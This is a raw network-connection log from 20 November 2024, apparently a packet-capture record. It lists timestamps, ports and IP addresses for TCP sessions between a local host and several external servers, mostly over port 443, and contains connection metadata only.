Nov 20, 2024 08:09:06.539089918 CET	443	49710	142.250.186.68	192.168.2.5
Nov 20, 2024 08:09:06.539110899 CET	49710	443	192.168.2.5	142.250.186.68
Nov 20, 2024 08:09:06.539122105 CET	443	49710	142.250.186.68	192.168.2.5
Nov 20, 2024 08:09:06.539163113 CET	49710	443	192.168.2.5	142.250.186.68
Nov 20, 2024 08:09:06.544167995 CET	443	49710	142.250.186.68	192.168.2.5
Nov 20, 2024 08:09:06.546678066 CET	443	49710	142.250.186.68	192.168.2.5
Nov 20, 2024 08:09:06.546739101 CET	49710	443	192.168.2.5	142.250.186.68
Nov 20, 2024 08:09:06.546749115 CET	443	49710	142.250.186.68	192.168.2.5
Nov 20, 2024 08:09:06.550888062 CET	443	49710	142.250.186.68	192.168.2.5
Nov 20, 2024 08:09:06.550918102 CET	443	49710	142.250.186.68	192.168.2.5
Nov 20, 2024 08:09:06.550940037 CET	49710	443	192.168.2.5	142.250.186.68
Nov 20, 2024 08:09:06.550949097 CET	443	49710	142.250.186.68	192.168.2.5
Nov 20, 2024 08:09:06.550987959 CET	49710	443	192.168.2.5	142.250.186.68
Nov 20, 2024 08:09:06.555001020 CET	443	49710	142.250.186.68	192.168.2.5
Nov 20, 2024 08:09:06.558865070 CET	443	49710	142.250.186.68	192.168.2.5
Nov 20, 2024 08:09:06.558986902 CET	49710	443	192.168.2.5	142.250.186.68
Nov 20, 2024 08:09:06.559015036 CET	443	49710	142.250.186.68	192.168.2.5
Nov 20, 2024 08:09:06.562719107 CET	443	49710	142.250.186.68	192.168.2.5
Nov 20, 2024 08:09:06.562761068 CET	443	49710	142.250.186.68	192.168.2.5
Nov 20, 2024 08:09:06.562764883 CET	49710	443	192.168.2.5	142.250.186.68
Nov 20, 2024 08:09:06.562774897 CET	443	49710	142.250.186.68	192.168.2.5
Nov 20, 2024 08:09:06.562814951 CET	49710	443	192.168.2.5	142.250.186.68
Nov 20, 2024 08:09:06.562886953 CET	443	49710	142.250.186.68	192.168.2.5
Nov 20, 2024 08:09:06.566734076 CET	443	49710	142.250.186.68	192.168.2.5
Nov 20, 2024 08:09:06.566876888 CET	49710	443	192.168.2.5	142.250.186.68
Nov 20, 2024 08:09:06.566884995 CET	443	49710	142.250.186.68	192.168.2.5
Nov 20, 2024 08:09:06.570656061 CET	443	49710	142.250.186.68	192.168.2.5
Nov 20, 2024 08:09:06.570713997 CET	49710	443	192.168.2.5	142.250.186.68
Nov 20, 2024 08:09:06.570724010 CET	443	49710	142.250.186.68	192.168.2.5
Nov 20, 2024 08:09:06.573092937 CET	443	49710	142.250.186.68	192.168.2.5
Nov 20, 2024 08:09:06.573136091 CET	49710	443	192.168.2.5	142.250.186.68
Nov 20, 2024 08:09:06.573148966 CET	443	49710	142.250.186.68	192.168.2.5
Nov 20, 2024 08:09:06.575720072 CET	443	49710	142.250.186.68	192.168.2.5
Nov 20, 2024 08:09:06.575779915 CET	49710	443	192.168.2.5	142.250.186.68
Nov 20, 2024 08:09:06.575793982 CET	443	49710	142.250.186.68	192.168.2.5
Nov 20, 2024 08:09:06.577580929 CET	443	49710	142.250.186.68	192.168.2.5
Nov 20, 2024 08:09:06.577809095 CET	49710	443	192.168.2.5	142.250.186.68
Nov 20, 2024 08:09:06.577816010 CET	443	49710	142.250.186.68	192.168.2.5
Nov 20, 2024 08:09:06.579860926 CET	443	49710	142.250.186.68	192.168.2.5
Nov 20, 2024 08:09:06.579942942 CET	49710	443	192.168.2.5	142.250.186.68
Nov 20, 2024 08:09:06.579951048 CET	443	49710	142.250.186.68	192.168.2.5
Nov 20, 2024 08:09:06.582266092 CET	443	49710	142.250.186.68	192.168.2.5
Nov 20, 2024 08:09:06.582336903 CET	49710	443	192.168.2.5	142.250.186.68
Nov 20, 2024 08:09:06.582345009 CET	443	49710	142.250.186.68	192.168.2.5
Nov 20, 2024 08:09:06.584578991 CET	443	49710	142.250.186.68	192.168.2.5
Nov 20, 2024 08:09:06.584665060 CET	49710	443	192.168.2.5	142.250.186.68
Nov 20, 2024 08:09:06.584673882 CET	443	49710	142.250.186.68	192.168.2.5
Nov 20, 2024 08:09:06.586905956 CET	443	49710	142.250.186.68	192.168.2.5
Nov 20, 2024 08:09:06.586993933 CET	49710	443	192.168.2.5	142.250.186.68
Nov 20, 2024 08:09:06.587002993 CET	443	49710	142.250.186.68	192.168.2.5
Nov 20, 2024 08:09:06.589194059 CET	443	49710	142.250.186.68	192.168.2.5
Nov 20, 2024 08:09:06.589263916 CET	49710	443	192.168.2.5	142.250.186.68
Nov 20, 2024 08:09:06.589272976 CET	443	49710	142.250.186.68	192.168.2.5
Nov 20, 2024 08:09:06.591664076 CET	443	49710	142.250.186.68	192.168.2.5
Nov 20, 2024 08:09:06.591732979 CET	49710	443	192.168.2.5	142.250.186.68
Nov 20, 2024 08:09:06.591743946 CET	443	49710	142.250.186.68	192.168.2.5
Nov 20, 2024 08:09:06.591754913 CET	443	49710	142.250.186.68	192.168.2.5
Nov 20, 2024 08:09:06.591800928 CET	49710	443	192.168.2.5	142.250.186.68
Nov 20, 2024 08:09:06.592046976 CET	49710	443	192.168.2.5	142.250.186.68
Nov 20, 2024 08:09:06.592061043 CET	443	49710	142.250.186.68	192.168.2.5
Nov 20, 2024 08:09:07.955698967 CET	49718	443	192.168.2.5	216.58.212.174
Nov 20, 2024 08:09:07.955729008 CET	443	49718	216.58.212.174	192.168.2.5
Nov 20, 2024 08:09:07.956305027 CET	49718	443	192.168.2.5	216.58.212.174
Nov 20, 2024 08:09:07.956525087 CET	49718	443	192.168.2.5	216.58.212.174
Nov 20, 2024 08:09:07.956537962 CET	443	49718	216.58.212.174	192.168.2.5
Nov 20, 2024 08:09:08.148477077 CET	443	49703	23.1.237.91	192.168.2.5
Nov 20, 2024 08:09:08.148571014 CET	49703	443	192.168.2.5	23.1.237.91
Nov 20, 2024 08:09:08.493964911 CET	80	49704	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:08.496666908 CET	49704	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:08.609913111 CET	443	49718	216.58.212.174	192.168.2.5
Nov 20, 2024 08:09:08.612914085 CET	49718	443	192.168.2.5	216.58.212.174
Nov 20, 2024 08:09:08.612930059 CET	443	49718	216.58.212.174	192.168.2.5
Nov 20, 2024 08:09:08.614026070 CET	443	49718	216.58.212.174	192.168.2.5
Nov 20, 2024 08:09:08.614099026 CET	49718	443	192.168.2.5	216.58.212.174
Nov 20, 2024 08:09:08.615175962 CET	49718	443	192.168.2.5	216.58.212.174
Nov 20, 2024 08:09:08.615242958 CET	443	49718	216.58.212.174	192.168.2.5
Nov 20, 2024 08:09:08.615335941 CET	49718	443	192.168.2.5	216.58.212.174
Nov 20, 2024 08:09:08.615345001 CET	443	49718	216.58.212.174	192.168.2.5
Nov 20, 2024 08:09:08.658768892 CET	49718	443	192.168.2.5	216.58.212.174
Nov 20, 2024 08:09:08.879008055 CET	443	49718	216.58.212.174	192.168.2.5
Nov 20, 2024 08:09:08.879045010 CET	443	49718	216.58.212.174	192.168.2.5
Nov 20, 2024 08:09:08.879071951 CET	443	49718	216.58.212.174	192.168.2.5
Nov 20, 2024 08:09:08.879091978 CET	443	49718	216.58.212.174	192.168.2.5
Nov 20, 2024 08:09:08.879105091 CET	49718	443	192.168.2.5	216.58.212.174
Nov 20, 2024 08:09:08.879117966 CET	443	49718	216.58.212.174	192.168.2.5
Nov 20, 2024 08:09:08.879143953 CET	49718	443	192.168.2.5	216.58.212.174
Nov 20, 2024 08:09:08.885176897 CET	443	49718	216.58.212.174	192.168.2.5
Nov 20, 2024 08:09:08.885210991 CET	443	49718	216.58.212.174	192.168.2.5
Nov 20, 2024 08:09:08.885265112 CET	443	49718	216.58.212.174	192.168.2.5
Nov 20, 2024 08:09:08.885279894 CET	49718	443	192.168.2.5	216.58.212.174
Nov 20, 2024 08:09:08.885291100 CET	443	49718	216.58.212.174	192.168.2.5
Nov 20, 2024 08:09:08.885315895 CET	49718	443	192.168.2.5	216.58.212.174
Nov 20, 2024 08:09:08.891882896 CET	443	49718	216.58.212.174	192.168.2.5
Nov 20, 2024 08:09:08.892618895 CET	49718	443	192.168.2.5	216.58.212.174
Nov 20, 2024 08:09:08.892631054 CET	443	49718	216.58.212.174	192.168.2.5
Nov 20, 2024 08:09:08.897725105 CET	443	49718	216.58.212.174	192.168.2.5
Nov 20, 2024 08:09:08.900624990 CET	49718	443	192.168.2.5	216.58.212.174
Nov 20, 2024 08:09:08.900639057 CET	443	49718	216.58.212.174	192.168.2.5
Nov 20, 2024 08:09:08.952565908 CET	49721	443	192.168.2.5	142.250.185.78
Nov 20, 2024 08:09:08.952603102 CET	443	49721	142.250.185.78	192.168.2.5
Nov 20, 2024 08:09:08.956696987 CET	49721	443	192.168.2.5	142.250.185.78
Nov 20, 2024 08:09:08.956913948 CET	49721	443	192.168.2.5	142.250.185.78
Nov 20, 2024 08:09:08.956923962 CET	443	49721	142.250.185.78	192.168.2.5
Nov 20, 2024 08:09:08.958405018 CET	49718	443	192.168.2.5	216.58.212.174
Nov 20, 2024 08:09:08.969508886 CET	443	49718	216.58.212.174	192.168.2.5
Nov 20, 2024 08:09:08.969583035 CET	443	49718	216.58.212.174	192.168.2.5
Nov 20, 2024 08:09:08.969608068 CET	443	49718	216.58.212.174	192.168.2.5
Nov 20, 2024 08:09:08.969674110 CET	49718	443	192.168.2.5	216.58.212.174
Nov 20, 2024 08:09:08.969683886 CET	443	49718	216.58.212.174	192.168.2.5
Nov 20, 2024 08:09:08.969724894 CET	49718	443	192.168.2.5	216.58.212.174
Nov 20, 2024 08:09:08.974785089 CET	443	49718	216.58.212.174	192.168.2.5
Nov 20, 2024 08:09:08.981065989 CET	443	49718	216.58.212.174	192.168.2.5
Nov 20, 2024 08:09:08.981121063 CET	49718	443	192.168.2.5	216.58.212.174
Nov 20, 2024 08:09:08.981134892 CET	443	49718	216.58.212.174	192.168.2.5
Nov 20, 2024 08:09:08.987406015 CET	443	49718	216.58.212.174	192.168.2.5
Nov 20, 2024 08:09:08.987430096 CET	443	49718	216.58.212.174	192.168.2.5
Nov 20, 2024 08:09:08.987487078 CET	49718	443	192.168.2.5	216.58.212.174
Nov 20, 2024 08:09:08.987495899 CET	443	49718	216.58.212.174	192.168.2.5
Nov 20, 2024 08:09:08.987797022 CET	49718	443	192.168.2.5	216.58.212.174
Nov 20, 2024 08:09:08.993720055 CET	443	49718	216.58.212.174	192.168.2.5
Nov 20, 2024 08:09:08.999908924 CET	443	49718	216.58.212.174	192.168.2.5
Nov 20, 2024 08:09:08.999975920 CET	443	49718	216.58.212.174	192.168.2.5
Nov 20, 2024 08:09:08.999979019 CET	49718	443	192.168.2.5	216.58.212.174
Nov 20, 2024 08:09:08.999988079 CET	443	49718	216.58.212.174	192.168.2.5
Nov 20, 2024 08:09:09.000025988 CET	49718	443	192.168.2.5	216.58.212.174
Nov 20, 2024 08:09:09.005914927 CET	443	49718	216.58.212.174	192.168.2.5
Nov 20, 2024 08:09:09.011662006 CET	443	49718	216.58.212.174	192.168.2.5
Nov 20, 2024 08:09:09.011753082 CET	443	49718	216.58.212.174	192.168.2.5
Nov 20, 2024 08:09:09.011823893 CET	49718	443	192.168.2.5	216.58.212.174
Nov 20, 2024 08:09:09.011831999 CET	443	49718	216.58.212.174	192.168.2.5
Nov 20, 2024 08:09:09.011871099 CET	49718	443	192.168.2.5	216.58.212.174
Nov 20, 2024 08:09:09.017587900 CET	443	49718	216.58.212.174	192.168.2.5
Nov 20, 2024 08:09:09.023576975 CET	443	49718	216.58.212.174	192.168.2.5
Nov 20, 2024 08:09:09.023602009 CET	443	49718	216.58.212.174	192.168.2.5
Nov 20, 2024 08:09:09.023637056 CET	49718	443	192.168.2.5	216.58.212.174
Nov 20, 2024 08:09:09.023644924 CET	443	49718	216.58.212.174	192.168.2.5
Nov 20, 2024 08:09:09.024007082 CET	49718	443	192.168.2.5	216.58.212.174
Nov 20, 2024 08:09:09.029438019 CET	443	49718	216.58.212.174	192.168.2.5
Nov 20, 2024 08:09:09.035363913 CET	443	49718	216.58.212.174	192.168.2.5
Nov 20, 2024 08:09:09.035415888 CET	49718	443	192.168.2.5	216.58.212.174
Nov 20, 2024 08:09:09.035423994 CET	443	49718	216.58.212.174	192.168.2.5
Nov 20, 2024 08:09:09.060092926 CET	443	49718	216.58.212.174	192.168.2.5
Nov 20, 2024 08:09:09.060185909 CET	49718	443	192.168.2.5	216.58.212.174
Nov 20, 2024 08:09:09.060193062 CET	443	49718	216.58.212.174	192.168.2.5
Nov 20, 2024 08:09:09.060245037 CET	443	49718	216.58.212.174	192.168.2.5
Nov 20, 2024 08:09:09.060275078 CET	443	49718	216.58.212.174	192.168.2.5
Nov 20, 2024 08:09:09.060291052 CET	49718	443	192.168.2.5	216.58.212.174
Nov 20, 2024 08:09:09.060297012 CET	443	49718	216.58.212.174	192.168.2.5
Nov 20, 2024 08:09:09.060596943 CET	49718	443	192.168.2.5	216.58.212.174
Nov 20, 2024 08:09:09.060764074 CET	443	49718	216.58.212.174	192.168.2.5
Nov 20, 2024 08:09:09.066612005 CET	443	49718	216.58.212.174	192.168.2.5
Nov 20, 2024 08:09:09.066639900 CET	443	49718	216.58.212.174	192.168.2.5
Nov 20, 2024 08:09:09.066658974 CET	49718	443	192.168.2.5	216.58.212.174
Nov 20, 2024 08:09:09.066665888 CET	443	49718	216.58.212.174	192.168.2.5
Nov 20, 2024 08:09:09.066732883 CET	49718	443	192.168.2.5	216.58.212.174
Nov 20, 2024 08:09:09.072508097 CET	443	49718	216.58.212.174	192.168.2.5
Nov 20, 2024 08:09:09.072571993 CET	443	49718	216.58.212.174	192.168.2.5
Nov 20, 2024 08:09:09.072813034 CET	49718	443	192.168.2.5	216.58.212.174
Nov 20, 2024 08:09:09.072818995 CET	443	49718	216.58.212.174	192.168.2.5
Nov 20, 2024 08:09:09.077814102 CET	443	49718	216.58.212.174	192.168.2.5
Nov 20, 2024 08:09:09.077869892 CET	49718	443	192.168.2.5	216.58.212.174
Nov 20, 2024 08:09:09.077882051 CET	443	49718	216.58.212.174	192.168.2.5
Nov 20, 2024 08:09:09.083177090 CET	443	49718	216.58.212.174	192.168.2.5
Nov 20, 2024 08:09:09.083240986 CET	49718	443	192.168.2.5	216.58.212.174
Nov 20, 2024 08:09:09.083250999 CET	443	49718	216.58.212.174	192.168.2.5
Nov 20, 2024 08:09:09.088193893 CET	443	49718	216.58.212.174	192.168.2.5
Nov 20, 2024 08:09:09.088248014 CET	49718	443	192.168.2.5	216.58.212.174
Nov 20, 2024 08:09:09.088263035 CET	443	49718	216.58.212.174	192.168.2.5
Nov 20, 2024 08:09:09.093190908 CET	443	49718	216.58.212.174	192.168.2.5
Nov 20, 2024 08:09:09.093247890 CET	49718	443	192.168.2.5	216.58.212.174
Nov 20, 2024 08:09:09.093255043 CET	443	49718	216.58.212.174	192.168.2.5
Nov 20, 2024 08:09:09.098078012 CET	443	49718	216.58.212.174	192.168.2.5
Nov 20, 2024 08:09:09.099117994 CET	49718	443	192.168.2.5	216.58.212.174
Nov 20, 2024 08:09:09.099124908 CET	443	49718	216.58.212.174	192.168.2.5
Nov 20, 2024 08:09:09.103107929 CET	443	49718	216.58.212.174	192.168.2.5
Nov 20, 2024 08:09:09.103157997 CET	49718	443	192.168.2.5	216.58.212.174
Nov 20, 2024 08:09:09.103163958 CET	443	49718	216.58.212.174	192.168.2.5
Nov 20, 2024 08:09:09.108197927 CET	443	49718	216.58.212.174	192.168.2.5
Nov 20, 2024 08:09:09.108252048 CET	49718	443	192.168.2.5	216.58.212.174
Nov 20, 2024 08:09:09.108259916 CET	443	49718	216.58.212.174	192.168.2.5
Nov 20, 2024 08:09:09.125092030 CET	443	49718	216.58.212.174	192.168.2.5
Nov 20, 2024 08:09:09.125123978 CET	443	49718	216.58.212.174	192.168.2.5
Nov 20, 2024 08:09:09.125164032 CET	49718	443	192.168.2.5	216.58.212.174
Nov 20, 2024 08:09:09.125174046 CET	443	49718	216.58.212.174	192.168.2.5
Nov 20, 2024 08:09:09.125228882 CET	49718	443	192.168.2.5	216.58.212.174
Nov 20, 2024 08:09:09.125233889 CET	443	49718	216.58.212.174	192.168.2.5
Nov 20, 2024 08:09:09.125247002 CET	443	49718	216.58.212.174	192.168.2.5
Nov 20, 2024 08:09:09.125288963 CET	49718	443	192.168.2.5	216.58.212.174
Nov 20, 2024 08:09:09.125293970 CET	443	49718	216.58.212.174	192.168.2.5
Nov 20, 2024 08:09:09.128247023 CET	443	49718	216.58.212.174	192.168.2.5
Nov 20, 2024 08:09:09.128628969 CET	49718	443	192.168.2.5	216.58.212.174
Nov 20, 2024 08:09:09.128637075 CET	443	49718	216.58.212.174	192.168.2.5
Nov 20, 2024 08:09:09.131239891 CET	443	49718	216.58.212.174	192.168.2.5
Nov 20, 2024 08:09:09.131306887 CET	49718	443	192.168.2.5	216.58.212.174
Nov 20, 2024 08:09:09.131320953 CET	443	49718	216.58.212.174	192.168.2.5
Nov 20, 2024 08:09:09.133976936 CET	443	49718	216.58.212.174	192.168.2.5
Nov 20, 2024 08:09:09.136617899 CET	49718	443	192.168.2.5	216.58.212.174
Nov 20, 2024 08:09:09.136625051 CET	443	49718	216.58.212.174	192.168.2.5
Nov 20, 2024 08:09:09.137835979 CET	443	49718	216.58.212.174	192.168.2.5
Nov 20, 2024 08:09:09.137901068 CET	49718	443	192.168.2.5	216.58.212.174
Nov 20, 2024 08:09:09.137909889 CET	443	49718	216.58.212.174	192.168.2.5
Nov 20, 2024 08:09:09.141875029 CET	443	49718	216.58.212.174	192.168.2.5
Nov 20, 2024 08:09:09.144618034 CET	49718	443	192.168.2.5	216.58.212.174
Nov 20, 2024 08:09:09.144628048 CET	443	49718	216.58.212.174	192.168.2.5
Nov 20, 2024 08:09:09.145514965 CET	443	49718	216.58.212.174	192.168.2.5
Nov 20, 2024 08:09:09.145566940 CET	49718	443	192.168.2.5	216.58.212.174
Nov 20, 2024 08:09:09.145572901 CET	443	49718	216.58.212.174	192.168.2.5
Nov 20, 2024 08:09:09.149523973 CET	443	49718	216.58.212.174	192.168.2.5
Nov 20, 2024 08:09:09.151796103 CET	443	49718	216.58.212.174	192.168.2.5
Nov 20, 2024 08:09:09.151817083 CET	443	49718	216.58.212.174	192.168.2.5
Nov 20, 2024 08:09:09.151865005 CET	49718	443	192.168.2.5	216.58.212.174
Nov 20, 2024 08:09:09.151875019 CET	443	49718	216.58.212.174	192.168.2.5
Nov 20, 2024 08:09:09.151904106 CET	49718	443	192.168.2.5	216.58.212.174
Nov 20, 2024 08:09:09.154191971 CET	443	49718	216.58.212.174	192.168.2.5
Nov 20, 2024 08:09:09.154242992 CET	443	49718	216.58.212.174	192.168.2.5
Nov 20, 2024 08:09:09.154293060 CET	49718	443	192.168.2.5	216.58.212.174
Nov 20, 2024 08:09:09.154300928 CET	443	49718	216.58.212.174	192.168.2.5
Nov 20, 2024 08:09:09.154335022 CET	443	49718	216.58.212.174	192.168.2.5
Nov 20, 2024 08:09:09.154387951 CET	49718	443	192.168.2.5	216.58.212.174
Nov 20, 2024 08:09:09.154947042 CET	49718	443	192.168.2.5	216.58.212.174
Nov 20, 2024 08:09:09.154962063 CET	443	49718	216.58.212.174	192.168.2.5
Nov 20, 2024 08:09:09.629179001 CET	443	49721	142.250.185.78	192.168.2.5
Nov 20, 2024 08:09:09.629556894 CET	49721	443	192.168.2.5	142.250.185.78
Nov 20, 2024 08:09:09.629576921 CET	443	49721	142.250.185.78	192.168.2.5
Nov 20, 2024 08:09:09.629940987 CET	443	49721	142.250.185.78	192.168.2.5
Nov 20, 2024 08:09:09.630014896 CET	49721	443	192.168.2.5	142.250.185.78
Nov 20, 2024 08:09:09.630671978 CET	443	49721	142.250.185.78	192.168.2.5
Nov 20, 2024 08:09:09.630739927 CET	49721	443	192.168.2.5	142.250.185.78
Nov 20, 2024 08:09:09.631850958 CET	49721	443	192.168.2.5	142.250.185.78
Nov 20, 2024 08:09:09.631941080 CET	443	49721	142.250.185.78	192.168.2.5
Nov 20, 2024 08:09:09.632087946 CET	49721	443	192.168.2.5	142.250.185.78
Nov 20, 2024 08:09:09.632087946 CET	49721	443	192.168.2.5	142.250.185.78
Nov 20, 2024 08:09:09.632098913 CET	443	49721	142.250.185.78	192.168.2.5
Nov 20, 2024 08:09:09.674670935 CET	49721	443	192.168.2.5	142.250.185.78
Nov 20, 2024 08:09:09.674701929 CET	443	49721	142.250.185.78	192.168.2.5
Nov 20, 2024 08:09:09.853014946 CET	443	49721	142.250.185.78	192.168.2.5
Nov 20, 2024 08:09:09.853837013 CET	443	49721	142.250.185.78	192.168.2.5
Nov 20, 2024 08:09:09.853971004 CET	49721	443	192.168.2.5	142.250.185.78
Nov 20, 2024 08:09:09.860409975 CET	49721	443	192.168.2.5	142.250.185.78
Nov 20, 2024 08:09:09.860428095 CET	443	49721	142.250.185.78	192.168.2.5
Nov 20, 2024 08:09:10.357855082 CET	49725	443	192.168.2.5	184.28.90.27
Nov 20, 2024 08:09:10.357899904 CET	443	49725	184.28.90.27	192.168.2.5
Nov 20, 2024 08:09:10.357990026 CET	49725	443	192.168.2.5	184.28.90.27
Nov 20, 2024 08:09:10.360034943 CET	49725	443	192.168.2.5	184.28.90.27
Nov 20, 2024 08:09:10.360049963 CET	443	49725	184.28.90.27	192.168.2.5
Nov 20, 2024 08:09:10.879858971 CET	49726	443	192.168.2.5	142.250.185.78
Nov 20, 2024 08:09:10.879901886 CET	443	49726	142.250.185.78	192.168.2.5
Nov 20, 2024 08:09:10.879956961 CET	49726	443	192.168.2.5	142.250.185.78
Nov 20, 2024 08:09:10.880683899 CET	49726	443	192.168.2.5	142.250.185.78
Nov 20, 2024 08:09:10.880697966 CET	443	49726	142.250.185.78	192.168.2.5
Nov 20, 2024 08:09:11.052433014 CET	443	49725	184.28.90.27	192.168.2.5
Nov 20, 2024 08:09:11.052521944 CET	49725	443	192.168.2.5	184.28.90.27
Nov 20, 2024 08:09:11.056065083 CET	49725	443	192.168.2.5	184.28.90.27
Nov 20, 2024 08:09:11.056078911 CET	443	49725	184.28.90.27	192.168.2.5
Nov 20, 2024 08:09:11.056355953 CET	443	49725	184.28.90.27	192.168.2.5
Nov 20, 2024 08:09:11.068170071 CET	49704	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:11.068475008 CET	49729	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:11.072994947 CET	80	49704	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:11.073293924 CET	80	49729	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:11.073357105 CET	49729	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:11.073906898 CET	49729	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:11.073930025 CET	49729	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:11.079503059 CET	80	49729	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:11.079514027 CET	80	49729	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:11.096184969 CET	49725	443	192.168.2.5	184.28.90.27
Nov 20, 2024 08:09:11.110848904 CET	49725	443	192.168.2.5	184.28.90.27
Nov 20, 2024 08:09:11.151330948 CET	443	49725	184.28.90.27	192.168.2.5
Nov 20, 2024 08:09:11.377352953 CET	443	49725	184.28.90.27	192.168.2.5
Nov 20, 2024 08:09:11.377424002 CET	443	49725	184.28.90.27	192.168.2.5
Nov 20, 2024 08:09:11.377470970 CET	49725	443	192.168.2.5	184.28.90.27
Nov 20, 2024 08:09:11.377582073 CET	49725	443	192.168.2.5	184.28.90.27
Nov 20, 2024 08:09:11.377598047 CET	443	49725	184.28.90.27	192.168.2.5
Nov 20, 2024 08:09:11.377612114 CET	49725	443	192.168.2.5	184.28.90.27
Nov 20, 2024 08:09:11.377618074 CET	443	49725	184.28.90.27	192.168.2.5
Nov 20, 2024 08:09:11.430344105 CET	49730	443	192.168.2.5	184.28.90.27
Nov 20, 2024 08:09:11.430378914 CET	443	49730	184.28.90.27	192.168.2.5
Nov 20, 2024 08:09:11.430448055 CET	49730	443	192.168.2.5	184.28.90.27
Nov 20, 2024 08:09:11.430785894 CET	49730	443	192.168.2.5	184.28.90.27
Nov 20, 2024 08:09:11.430803061 CET	443	49730	184.28.90.27	192.168.2.5
Nov 20, 2024 08:09:11.529211044 CET	443	49726	142.250.185.78	192.168.2.5
Nov 20, 2024 08:09:11.529478073 CET	49726	443	192.168.2.5	142.250.185.78
Nov 20, 2024 08:09:11.529490948 CET	443	49726	142.250.185.78	192.168.2.5
Nov 20, 2024 08:09:11.529848099 CET	443	49726	142.250.185.78	192.168.2.5
Nov 20, 2024 08:09:11.530167103 CET	49726	443	192.168.2.5	142.250.185.78
Nov 20, 2024 08:09:11.530226946 CET	443	49726	142.250.185.78	192.168.2.5
Nov 20, 2024 08:09:11.530325890 CET	49726	443	192.168.2.5	142.250.185.78
Nov 20, 2024 08:09:11.530347109 CET	49726	443	192.168.2.5	142.250.185.78
Nov 20, 2024 08:09:11.530354977 CET	443	49726	142.250.185.78	192.168.2.5
Nov 20, 2024 08:09:11.865180016 CET	443	49726	142.250.185.78	192.168.2.5
Nov 20, 2024 08:09:11.869406939 CET	443	49726	142.250.185.78	192.168.2.5
Nov 20, 2024 08:09:11.869503021 CET	49726	443	192.168.2.5	142.250.185.78
Nov 20, 2024 08:09:11.871093035 CET	49726	443	192.168.2.5	142.250.185.78
Nov 20, 2024 08:09:11.871117115 CET	443	49726	142.250.185.78	192.168.2.5
Nov 20, 2024 08:09:12.134938955 CET	443	49730	184.28.90.27	192.168.2.5
Nov 20, 2024 08:09:12.135024071 CET	49730	443	192.168.2.5	184.28.90.27
Nov 20, 2024 08:09:12.136359930 CET	49730	443	192.168.2.5	184.28.90.27
Nov 20, 2024 08:09:12.136379957 CET	443	49730	184.28.90.27	192.168.2.5
Nov 20, 2024 08:09:12.136647940 CET	443	49730	184.28.90.27	192.168.2.5
Nov 20, 2024 08:09:12.137962103 CET	49730	443	192.168.2.5	184.28.90.27
Nov 20, 2024 08:09:12.183331013 CET	443	49730	184.28.90.27	192.168.2.5
Nov 20, 2024 08:09:12.273097038 CET	80	49729	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:12.273164034 CET	49729	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:12.383013964 CET	49729	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:12.387953043 CET	80	49729	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:12.464519024 CET	443	49730	184.28.90.27	192.168.2.5
Nov 20, 2024 08:09:12.464598894 CET	443	49730	184.28.90.27	192.168.2.5
Nov 20, 2024 08:09:12.464708090 CET	49730	443	192.168.2.5	184.28.90.27
Nov 20, 2024 08:09:12.465533018 CET	49730	443	192.168.2.5	184.28.90.27
Nov 20, 2024 08:09:12.465560913 CET	443	49730	184.28.90.27	192.168.2.5
Nov 20, 2024 08:09:12.465584993 CET	49730	443	192.168.2.5	184.28.90.27
Nov 20, 2024 08:09:12.465591908 CET	443	49730	184.28.90.27	192.168.2.5
Nov 20, 2024 08:09:12.529355049 CET	49711	443	192.168.2.5	142.250.186.68
Nov 20, 2024 08:09:13.101928949 CET	80	49729	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:13.101998091 CET	49729	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:15.752187014 CET	49736	443	192.168.2.5	94.245.104.56
Nov 20, 2024 08:09:15.752232075 CET	443	49736	94.245.104.56	192.168.2.5
Nov 20, 2024 08:09:15.752285957 CET	49736	443	192.168.2.5	94.245.104.56
Nov 20, 2024 08:09:16.006382942 CET	49736	443	192.168.2.5	94.245.104.56
Nov 20, 2024 08:09:16.006392956 CET	443	49736	94.245.104.56	192.168.2.5
Nov 20, 2024 08:09:16.774672031 CET	443	49736	94.245.104.56	192.168.2.5
Nov 20, 2024 08:09:16.781310081 CET	49736	443	192.168.2.5	94.245.104.56
Nov 20, 2024 08:09:16.781332016 CET	443	49736	94.245.104.56	192.168.2.5
Nov 20, 2024 08:09:16.782694101 CET	443	49736	94.245.104.56	192.168.2.5
Nov 20, 2024 08:09:16.782773018 CET	49736	443	192.168.2.5	94.245.104.56
Nov 20, 2024 08:09:16.892131090 CET	49738	443	192.168.2.5	13.107.246.45
Nov 20, 2024 08:09:16.892188072 CET	443	49738	13.107.246.45	192.168.2.5
Nov 20, 2024 08:09:16.892419100 CET	49738	443	192.168.2.5	13.107.246.45
Nov 20, 2024 08:09:16.892847061 CET	49738	443	192.168.2.5	13.107.246.45
Nov 20, 2024 08:09:16.892860889 CET	443	49738	13.107.246.45	192.168.2.5
Nov 20, 2024 08:09:16.938220024 CET	49736	443	192.168.2.5	94.245.104.56
Nov 20, 2024 08:09:16.938328028 CET	443	49736	94.245.104.56	192.168.2.5
Nov 20, 2024 08:09:16.961646080 CET	49736	443	192.168.2.5	94.245.104.56
Nov 20, 2024 08:09:16.961667061 CET	443	49736	94.245.104.56	192.168.2.5
Nov 20, 2024 08:09:17.129839897 CET	443	49736	94.245.104.56	192.168.2.5
Nov 20, 2024 08:09:17.132673025 CET	49736	443	192.168.2.5	94.245.104.56
Nov 20, 2024 08:09:17.544051886 CET	443	49738	13.107.246.45	192.168.2.5
Nov 20, 2024 08:09:17.544120073 CET	49738	443	192.168.2.5	13.107.246.45
Nov 20, 2024 08:09:17.578931093 CET	49738	443	192.168.2.5	13.107.246.45
Nov 20, 2024 08:09:17.578977108 CET	443	49738	13.107.246.45	192.168.2.5
Nov 20, 2024 08:09:17.579257011 CET	443	49738	13.107.246.45	192.168.2.5
